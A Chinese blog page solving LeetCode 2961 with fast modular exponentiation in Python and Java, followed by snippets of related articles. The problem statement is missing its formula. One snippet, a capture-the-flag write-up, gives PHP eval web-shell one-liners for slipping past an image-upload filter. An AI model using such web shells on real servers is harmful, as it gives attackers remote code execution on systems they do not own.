LeetCode2961双模幂运算(相关话题:快速幂)

题目描述

给你一个下标从 开始的二维数组 variables ,其中 variables[i] = [ai, bi, ci, mi],以及一个整数 target 。

如果满足以下公式,则下标 i 是 好下标

返回一个由 好下标 组成的数组,顺序不限 。

示例 :

输入:variables = [[2,3,3,10],[3,3,3,1],[6,1,1,4]], target = 2
输出:[0,2]

算法思想

 Python解法

class Solution:def getGoodIndices(self, variables: List[List[int]], target: int) -> List[int]:return [i for i, (a, b, c, m) in enumerate(variables)if pow(pow(a, b, 10), c, m) == target]

Java解法

public class Solution {public List<Integer> getGoodIndices(int[][] variables, int target) {List<Integer> ans = new ArrayList<>();for (int i = 0; i < variables.length; i++) {int[] v = variables[i];if (pow(pow(v[0], v[1], 10), v[2], v[3]) == target) {ans.add(i);}}return ans;}private long pow(long x, int n, int mod) {long res = 1;for (; n > 0; n /= 2) {if (n % 2 > 0)res = res * x % mod;x = x * x % mod;}return res;}
}

速幂算法是一种高效计算幂运算的方法,尤其适用于大数的情况。下面我将解释这段代码的工作原理:

  1. 初始化 res 为 1res 是最终结果,初始为 1,因为任何数的 0 次幂都是 1。

  2. 循环条件 n > 0:算法通过不断将 n 除以 2 来减少计算量。每次迭代后,n 都会减半,直到 n 为 0。这是因为幂运算可以通过二分的方式快速计算。

  3. 检查 n % 2 > 0:这个条件用来检查 n 是否为奇数。如果 n 是奇数,我们需要将当前的 x 乘入 res。这是因为当 n 是奇数时,我们不能仅通过平方来得到 x^n,还需要额外乘以一个 x

  4. 更新 res:当 n 是奇数时,res 乘以当前的 x 并对 mod 取模。

  5. 平方 x:无论 n 的当前值是奇数还是偶数,都需要将 x 平方,并对 mod 取模,以便下一次迭代使用。

  6. 减少 n:通过 n /= 2 减少 n 的值,以进行下一轮迭代。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/219030.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣日记12.13-【二叉树篇】从中序与后序遍历序列构造二叉树

力扣日记&#xff1a;【二叉树篇】从中序与后序遍历序列构造二叉树 日期&#xff1a;2023.12.13 参考&#xff1a;代码随想录、力扣 106. 从中序与后序遍历序列构造二叉树 题目描述 难度&#xff1a;中等 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二…

OpenCV极坐标变换函数warpPolar的使用

学更好的别人&#xff0c; 做更好的自己。 ——《微卡智享》 本文长度为1702字&#xff0c;预计阅读4分钟 前言 前阵子在做方案时&#xff0c;得了几张骨钉的图片&#xff0c;骨科耗材批号效期管理一直是比较麻烦的&#xff0c;贴RFID标签成本太高&#xff0c;所以一般考虑还是…

深入解析Spring Boot集成MyBatis的多种方式

文章目录 1. 引言2. 传统的XML配置方式2.1 引入依赖2.2 配置数据源和MyBatis2.3 编写Mapper接口和XML映射文件2.4 使用Mapper 3. 注解配置方式3.1 引入依赖3.2 配置数据源和MyBatis3.3 编写Mapper接口3.4 使用Mapper 4. MyBatis动态SQL4.1 使用XML配置方式4.2 使用注解配置方式…

Qt/C++视频监控安卓版/多通道显示视频画面/录像存储/视频播放安卓版/ffmpeg安卓

一、前言 随着监控行业的发展&#xff0c;越来越多的用户场景是需要在手机上查看监控&#xff0c;而之前主要的监控系统都是在PC端&#xff0c;毕竟PC端屏幕大&#xff0c;能够看到的画面多&#xff0c;解码性能也强劲。早期的手机估计性能弱鸡&#xff0c;而现在的手机性能不…

Facebook广告系统结构

Facebook广告系统是一个复杂的大型系统&#xff0c;由多个组件和子系统相互配合工作&#xff0c;实现了广告的投放、拍卖、个性化推荐和效果评估等功能。下面小编讲讲Facebook广告系统的结构。 1、广告管理界面 广告管理界面是广告主与Facebook进行交互的入口&#xff0c;广告…

如何在Docker部署draw.io流程图软件并实现公网远程访问

前言 提到流程图&#xff0c;大家第一时间可能会想到Visio&#xff0c;不可否认&#xff0c;VIsio确实是功能强大&#xff0c;但是软件为收费&#xff0c;并且因为其功能强大&#xff0c;导致安装需要很多的系统内存&#xff0c;并且是不可跨平台使用。所以&#xff0c;今天给…

c语言链表的基本操作

在C语言中&#xff0c;链表是一种常见的数据结构&#xff0c;它由一系列节点组成&#xff0c;每个节点包含一个数据元素和一个指向下一个节点的指针。链表的基本操作包括创建、插入、删除和遍历等。 下面是一个简单的链表节点结构体定义&#xff1a; struct Node { int da…

Leaflet.Graticule源码分析以及经纬度汉化展示

目录 前言 一、源码分析 1、类图设计 2、时序调用 3、调用说明 二、经纬度汉化 1、改造前 2、汉化 3、改造效果 总结 前言 在之前的博客基于Leaflet的Webgis经纬网格生成实践中&#xff0c;已经深入介绍了Leaflet.Graticule的实际使用方法和进行了简单的源码分析。认…

C语言之函数式宏

目录 函数和数据类型 函数式宏 函数和函数式宏 函数式宏和对象式宏 不带参数的函数式宏 函数式宏和逗号运算符 函数式宏和函数类似并且比函数更加灵活&#xff0c;下面我们就来学习函数式宏的相关内容。 函数和数据类型 我们来编写一个程序&#xff0c;它能计算出所读取…

『PyTorch』张量和函数之gather()函数

文章目录 PyTorch中的选择函数gather()函数 参考文献 PyTorch中的选择函数 gather()函数 import torch a torch.arange(1, 16).reshape(5, 3) """ result: a [[1, 2, 3],[4, 5, 6],[7, 8, 9],[10, 11, 12],[13, 14, 15]] """# 定义两个index…

注册与回调

C 再谈谈注册(本质是建立映射)与回调 在之前的博文中&#xff0c; 我们探讨过映射的重要作用&#xff0c; 请直接看&#xff1a;http://blog.csdn.net/stpeace/article/details/39452203, 在那篇文章中&#xff0c; 我们是用STL中的map来做的&#xff0c; map建立的是key-value…

ChatGLM-6B模型结构组件源码阅读

一、前言 本文将介绍ChatGLM-6B的模型结构组件源码。 代练链接&#xff1a;https://huggingface.co/THUDM/chatglm-6b/blob/main/modeling_chatglm.py 二、激活函数 torch.jit.script def gelu_impl(x):"""OpenAIs gelu implementation."""r…

云演 Can you getshell?

1、扫目录&#xff0c;看看到upload.php,找到上传点 2、只让上传jpg gif png&#xff0c;上传图片写码 <?php eval($_POST[c]);?>这个码不行 换马 <script language"php">eval($_REQUEST[c])</script>3、蚁剑连接、得到flag

【MyBatis-Plus】MyBatis进阶使用

目录 一、MyBatis-Plus简介 1.1 介绍 1.2 优点 1.3 结构 二、MyBatis-Plus基本使用 2.1 配置 2.2 代码生成 2.3 CRUD接口测试 三、MyBatis-Plus策略详解 3.1 主键生成策略 3.2 雪花ID生成器 3.3 字段自动填充策略 3.4 逻辑删除 四、MyBatis-Plus插件使用 4.1 乐…

TrustZone之完成器:外围设备和内存

到目前为止,在本指南中,我们集中讨论了处理器,但TrustZone远不止是一组处理器功能。要充分利用TrustZone功能,我们还需要系统其余部分的支持。以下是一个启用了TrustZone的系统示例: 本节探讨了该系统中的关键组件以及它们在TrustZone中的作用。 完成器:外围设备…

服务器数据恢复—raid5热备盘未激活崩溃导致上层oracle数据丢失的数据恢复案例

服务器数据恢复环境&#xff1a; 某品牌X系列服务器&#xff0c;4块SAS硬盘组建了一组RAID5阵列&#xff0c;还有1块磁盘作为热备盘使用。服务器上层安装的linux操作系统&#xff0c;操作系统上部署了一个基于oracle数据库的OA&#xff08;oracle已经不再为该OA系统提供后续服务…

【c语言】【visual studio】动态内存管理,malloc,calloc,realloc详解。

引言&#xff1a;随着大一期末的到来&#xff0c;想必许多学生都学到内存的动态管理这一部分了&#xff0c;看望这篇博客后&#xff0c;希望能解除你心中对这一章节的疑惑。 (・∀・(・∀・(・∀・*) 1.malloc详解 malloc的头文件是#include <sdtlib.h>,malloc - C Ref…

Spring Cloud + Vue前后端分离-第5章 单表管理功能前后端开发

Spring Cloud Vue前后端分离-第5章 单表管理功能前后端开发 完成单表的增删改查 控台单表增删改查的前后端开发&#xff0c;重点学习前后端数据交互&#xff0c;vue ajax库axios的使用等 通用组件开发:分页、确认框、提示框、等待框等 常用的公共组件:确认框、提示框、等待…

【Linux】多线程编程

目录 1. 线程基础知识 2. 线程创建 3. 线程ID&#xff08;TID&#xff09; 4. 线程终止 5. 线程取消 6. 线程等待 7. 线程分离 8. 线程互斥 8.1 初始化互斥量 8.2 销毁互斥量 8.3 互斥量加锁和解锁 9. 可重入和线程安全 10. 线程同步之条件变量 10.1 初始化条件变…

一文了解Tomcat

文章目录 1、Tomcat介绍2、Tomcat使用配置2.1、Tomcat下载启动2.2、Tomcat启动乱码2.3、Tomcat端口号修改 3、Tomcat项目部署4、IDEA中使用Tomcat方式 1、Tomcat介绍 什么是Tomcat ​ Tomcat是Apache软件基金会一个核心项目&#xff0c;是一个开源免费的轻量级web服务器&#x…